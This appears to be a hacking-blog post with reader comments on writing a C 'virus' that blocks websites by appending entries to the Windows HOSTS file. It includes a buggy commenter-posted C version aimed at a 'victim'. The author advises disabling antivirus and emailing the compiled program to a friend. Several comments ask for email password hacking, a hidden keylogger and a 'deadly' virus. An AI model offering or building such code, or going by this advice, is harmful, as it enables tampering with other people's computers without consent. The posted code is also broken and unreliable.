Most of us are familiar with the virus that used to block Orkut and Youtube websites. If you are curious about creating such a virus on your own, here is how it can be done.
As usual I am using my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of ‘C’ will be able to understand the working of this virus program. When this program is executed, it will block all those websites that are listed in the source code. In the following example, the sites that are listed in the source code are Google, Yahoo and Youtube. When you download the source code of this program, you have a choice to include your own list of sites that you want this virus to block.
I have just removed the source code of this program from this post as it is lengthy and makes the post look messy. You can still download the source code of this virus program from the following link:
How Virus Program Works?
The Windows operating system maintains a special file called HOSTS which can be used to block any given hostname or domain name (website) by adding new entries onto it. This program works by modifying the HOSTS file by adding new entries of those sites that are intended to be blocked. The HOSTS file is located at:
%windir%\system32\drivers\etc (Usually: C:\windows\system32\drivers\etc)
So, when you execute this program, all it does is add the entries of the list of those sites (mentioned in the source code) to this HOSTS file. Once this is done, the site will be blocked from your computer. So, none of the browsers would be able to load those sites on your computer.
For more information on HOSTS file, I recommend reading my other post on How to use HOSTS file to block websites.
Now, as far as the technical part of this program is concerned, people who have a working knowledge of ‘C’ should be easily able to understand the working of this virus program. However, for those who are new to ‘C’ programming, here is the algorithm of this program:
- Determine the Root drive. ie: Find the drive (C:, D:, E: or F:) on which the Windows is installed.
- Navigate to: %windir% -> system32 -> drivers -> etc
- Open/Load the HOSTS file.
- Copy a list of those websites that are mentioned in the ARRAY to the END of the file.
- Save the file and Exit.
How to Compile the Source Code?
For a step-by-step compilation guide, refer my post: How to compile C Programs?
Testing the Virus:
-
To test, run the compiled module. It will block the sites that are listed in the source code.
-
Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
-
To remove the virus type the following command in the Run.
%windir%\system32\drivers\etc
-
There, open the file named “hosts” using the notepad. At the bottom of the opened file you’ll see something like this:
127.0.0.1 google.com
-
Delete all such entries which contain the names of blocked sites.
Man when i compile the source code with different site name or even with the same sites the compiler shows error,please help i have to make my friend suffer
@ Victor
You have to compile it in Borland C++ compiler.But you may also compile it with other C/C++ compilers with a few modifications to the source code.
Please specify the error that you are getting and I’ll solve the problem!
thanks for information, i will try it soon on my friend only for fun.
hi..cud nyone pls tell me if there is a program in C that can flood the hard drive.i just need the source code with suitable comments i really liked all the program posted here…i’m new to files in C..so i u cud pls temme ow to do it..
thnx…….
it works properly.
hi shrikanth whats up bro…
…
i’m new to your website and i found it very great…
…
i just wanted to ask you a question that how to block all kind of adult sites…
…
waiting for your response…thanks a lot dude !
hi, shrikant kaise ho…………
kya baat hai mere question ka answer nahin diya.
@ nick
You have to add the URL of each adult site indivisually to block the sites.
@ vishal
Sorry, I forgot your question…Can u ask once again?
oh sorry… i didn’t see ur reply dude…
actually when i was posting the comments light went off…and i had no idea that it already posted 😉
anyways thanks a lot… 🙂
hi shrikant
i found your site great n fantastic
can u plz tell me the source code of hacking orkut password
hi srikanth
This site is very useful for getting updated on network security.
Thanks brother…
Hi Srikant!!
Happy new year to you…
I’m new to your site…
In the program to block websites you explained the process of editing the hos file in the root directory…
but suppose if i modify the file of my own according the same process of removal..i just want to enter the websites names with ip address 127.0.0.1, then would it work..but it’s not working..why?
explain a little…
Thnx in advance…
Bye brother..
@ Santanu
You can enter any number of websites with IP 127.0.0.1
just like this
127.0.0.1 abc.com
127.0.0.1 http://www.abc.com
etc..
It works…. Here 127.0.0.1 is the IP address of your own computer.127.0.0.1 is the standard IP of every computer..
Please tell how to open blocked site?
@ Prshntrnjn
refer the following post
http://www.gohacking.com/2008/01/how-to-block-website.html
Freind can you please tell me how to hack a email ID and get it’s username and password
@ rock
Refer the folowing posts
Hacking an Email Account
Hack Yahoo, Gmail or any other Password
Hacking Yahoo Password
….wyo….u r jeniys ..
dear frend plees tell me how can i hack my frend’s yahoo massengar id during chating on yahoo massenger…i am wating 4 ur ans.
Hi Srikant,
great job brother, i really appriciate your work, jinious.
Thanks
Pranab
its still not working ive tried evrything can some1 plz just compile one for me with this list?
“myspace.com”,
“www.myspace.com”,
“facebook.com”,
“www.facebook.com”,
“habbo.com”,
“www.habbo.com”,
“www.rapid4u.info”,
“rapid4u.info”
“unfliterme.com”,
“www.unfilterme.com”,
“bemyproxy.com”,
“www.bemyproxy.com”
“xeem.info”,
“www.xeem.info”,
“proxytoyoutube.com”,
“www.proxytoyoutube.com”,
“www.proxy62.com”,
“proxy62.com”,
“www.hi5unblocker.com”,
“hi5unblocker.com”,
“orkutunblocker.com”,
“www.orkutunblocker.com”,
“fbuster.com”,
“www.fbuster.com”,
“216.178.38.116”,
“69.63.178.11”,
“69.63.184.143”,
“63.135.80.46”,
“69.90.139.109”,
“67.159.44.134”,
“72.55.165.26”,
“67.159.51.150”,
“74.54.146.82”,
“67.159.51.150”,
“67.159.45.96”,
“67.159.51.150”
thank you in advance
@ helloman
Use Borland C++ compiler to compile the above source code.It is available for free.
can i rename the blocksite.exe?
@ law
Yes you can rename it.No prob!
Srikanth can you say that few changes for another compilers
For example what can i use instead of FA_DIREC
i cant compile too like helloman said Cannot open include file: ‘dir.h’: No such file or directory
@ itanium89
Use borlank C++ compiler.
hi bro which program u given here its nt working…
@ faizan
It works… Disable your antivirus before you try… Also it works only on XP and Vista
bt bro its giving 25 error….wt i will do?
@ faizan
Download the source code and compile it in Broland C++ compiler. Do not copy and paste the program from my site into a notepad to compile. Download the source code to compile. It works…
ok bro thanx….can you tell me sime other hacking tricks……?i want to change my browser name how can it will do>
@faizan
I’ll come up with a new post on this topic.
hello srikanth,
i m using the trial version of ‘typing master’
after teaching some keys all are locked
is their any way to unlock it
hmm… I have tried all this long long back…
Can we create a media player using C??
If yes can you give me some idea or sample??
@ Narandran
YOu can create it using VC++.
can I put it in the scrapbook of sites like orkut to lay a trap for my friend?
will codes like-
work to block orkut scrapbook?
It doesnot. But it was posted in-
http://hungryhackers.blogspot.com/2007/12/block-your-friends-scrapbook-orkut.html
can u suggest these type of tools to me?
Thanks Srinkath =) for your posts i really like it and it give me idea of C programs and i sipmplified that program so it will be more easy to use to new one:
#include
#include
#include
int main(int argc, char *argv[])
{
char site_list[4][30] = { // the [4] is for number of site
// if you wna put more just change the
// number
“google.com”,
“www.google.com”,
“www.youtube.com”,
“youtube.com”
}
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
// note the disk C:, if the victim
// have another one cahnge it
int i;
fseek(target,0,SEEK_END);
fprintf(target,”\n”);
for(i=0; i<6; i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
return 0;
}
so like that you can compile than on other compiler than borland you can try on DevC++ or another one. Also read carefull the
// notes. Enjoy, but dont be too bad with your victim :P.
hai srikanth,
can we set a setting to a folder in a mannar that when we double click it, a c program (.exe file) opens and it asks for a input string(password). if it is right it opens the folder.
awaiting ur response
how do i compile it????
hello srikanth,
i m a student of software engg….
yesterday my instructor has given me an assignment topic i.e., to write code for virus and antivirus in C/C++…… i dont understand wat should i do???
can you give ur any simple and easy virus and its antivirus code??? only for study purpose… kindly help me….. i hv searched alot but i couldnt understand these viruses code… these are very much difficult…
kindly help me plz……..
my email id is
[email protected]
thank u sir……..
w8 4 ur reply
aashee…………
1.Plzz write a code to block orkut
2.how to compile in turbo c++ ?
hai Srikanth..i had use miscoscoft visual studio c++
but when i compiled it..there still had 1 error
the error show to #include
it say the file was not found etc..
erm..u use borland c++?
i did not know how to use it..
i had installed the borland on my pc..
but when to use it..it still messy on me
i had open the not pad read me in folder borland..
it say like this:
Installing and running the Command Line Tools
———————————————–
1. Run freecommandlinetools.exe; choose the
drive and folder into which you want to
install the free C++Builder 5 command line
tool development system.
2. From the bin directory of your installation:
a. Add “c:\Borland\Bcc55″
to the existing path
b. Create a bcc32.cfg file which will set
the compiler options for the Include
and Lib paths (-I and -L switches to
compiler) by adding these lines:
-I”c:\Borland\Bcc55\include”
-L”c:\Borland\Bcc55\lib”
c. Create an ilink32.cfg file which will set
the linker option for the Lib path by
adding this line:
-L”c:\Borland\Bcc55\lib”
i’m very confuse with this instruction..
can u teach me how to do that with ur simple explanation
n simple insruction..
i knw u very brilliant guy..
help me plz.. ):
@ Mr Paranormal
Installing the Borland C++ 5.5 is easy. just follow the instructions as given below. I assume that you’ve have installed the compiler in the C: drive.
1. Install the compiler (I think you’ve already done it).
2. Goto C:\Borland\Bcc55 and create a new text document, open it and add the following lines.
–I”c:\Borland\Bcc55\include”
-L”c:\Borland\Bcc55\lib”
3. Now rename the text doument from New Text Document.txt to bcc32.cfg.
4. Now create another text document, open it and add the following line.
-L”c:\Borland\Bcc55\lib”
5. Now rename the text doument from New Text Document.txt to ilink32.cfg.
6. You’ve now successfully configured you compiler.
Compiling instructions:
1. put the source code abc.c or abc.cpp file into the following path.
c:\Borland\Bcc55
2. goto command prompt, navigate to c:\Borland\Bcc55 and use the following command to compile
bcc32 abc.c
3. If there are errors it’ll be shown. otherwise the compiled module (abc.exe) will be found in the same folder as that of the source code (abc.c).
include dir.h
I did it Srikanth..thank you very much!! (:
i had edit ur coding to input more block website and it works!
but for ur
“Creating a Virus to Restart the Computer at Every Startup” post
i had 3 error when compile..(using borland c++)
erm..i just want to edit the pop-up message to my own words
Hello Srikant,
would u like to tell me how to access any one computer in internet or intranet
Regards
Imran
Hello ,
would you like to tell me how to access any computer over intranet or internet
HELLO SIR.. DOIN A FAB JOB.. PLZ MAY I KNO AFTR COMPILING THE ABOVE SOURCE CODE HOW DO I SEND THIS TO MY FRIEND’S COMPUTER ? REALLY CURIOUS TO KNO . . PLZ REPLY. .
@ Neer
send it by attaching it to email.
Hello Srikanth,
By your C program I understood how to block a website. Thanks for that. You gave a command that will make the system clear from that virus. In my college it think they have blocked those websites(ORKUT,YOUTUBE,…) just by using this virus. When I try to delete the files which were opened by using the command %windir%\system32\drivers\etc
it shows,
Cannot Delete : Access Denied
Make sure is not full or write protected
and that the file is not currently not in use
Please tell me how to delete it….
@ Guruvigneshwaran
You cannot delete the “etc” since it’s a system file. You need to open it via notepad, look for entries such as Orkut, Youtube… inside it and delete those entries. Save changes after you’re done.
i want to create a dealy computer virus it is very important in our contry pls contact me on the folloeing no 07095032142 or send me messager
i want ideal and wisdom to creat or want to do to be creative pls contact me
hi im new at this web so plz plz plz help me 2 learn how2 hack
hi Srikanth i m new at ur web plz plz help me i want to know that what is sourcecode and C/C++ compiler. plz plz plz n plz help me i need ur help.
Hello
the sourcecode in your this post i should type it in notepad or……. plz plz plz plz help me yaar……..
hello.. uhm, can you help me to hack my stepmother’s pc using email (lol) because she’s disturbing my family.. please..
em’ begging..
can we corrupt a folder or a dvd using a programming language(c language)
@ aditya
We can corrupt files inside a folder but not on a DVD.
Hi Sriknath…
Nice work …. man. Its really amazing. I have a experience of coding afew small databases in C . I am looking to combine different Viruses codes in a program. Generally Viruses restart computer if msconfig or regedit is opened. Further Folder options are also disabled. I tried doing so but I could not find any way. I am also looking for coding a hidden Keylogger in C. Keylogger can be coded easily but sending it through email is causing problems. Can you help me plz……
Regards.
Hello sir,
My name is Kiran. To know these programs shell u prefer a book. I like these type of programs very much. Hope i will soon recieve the answer.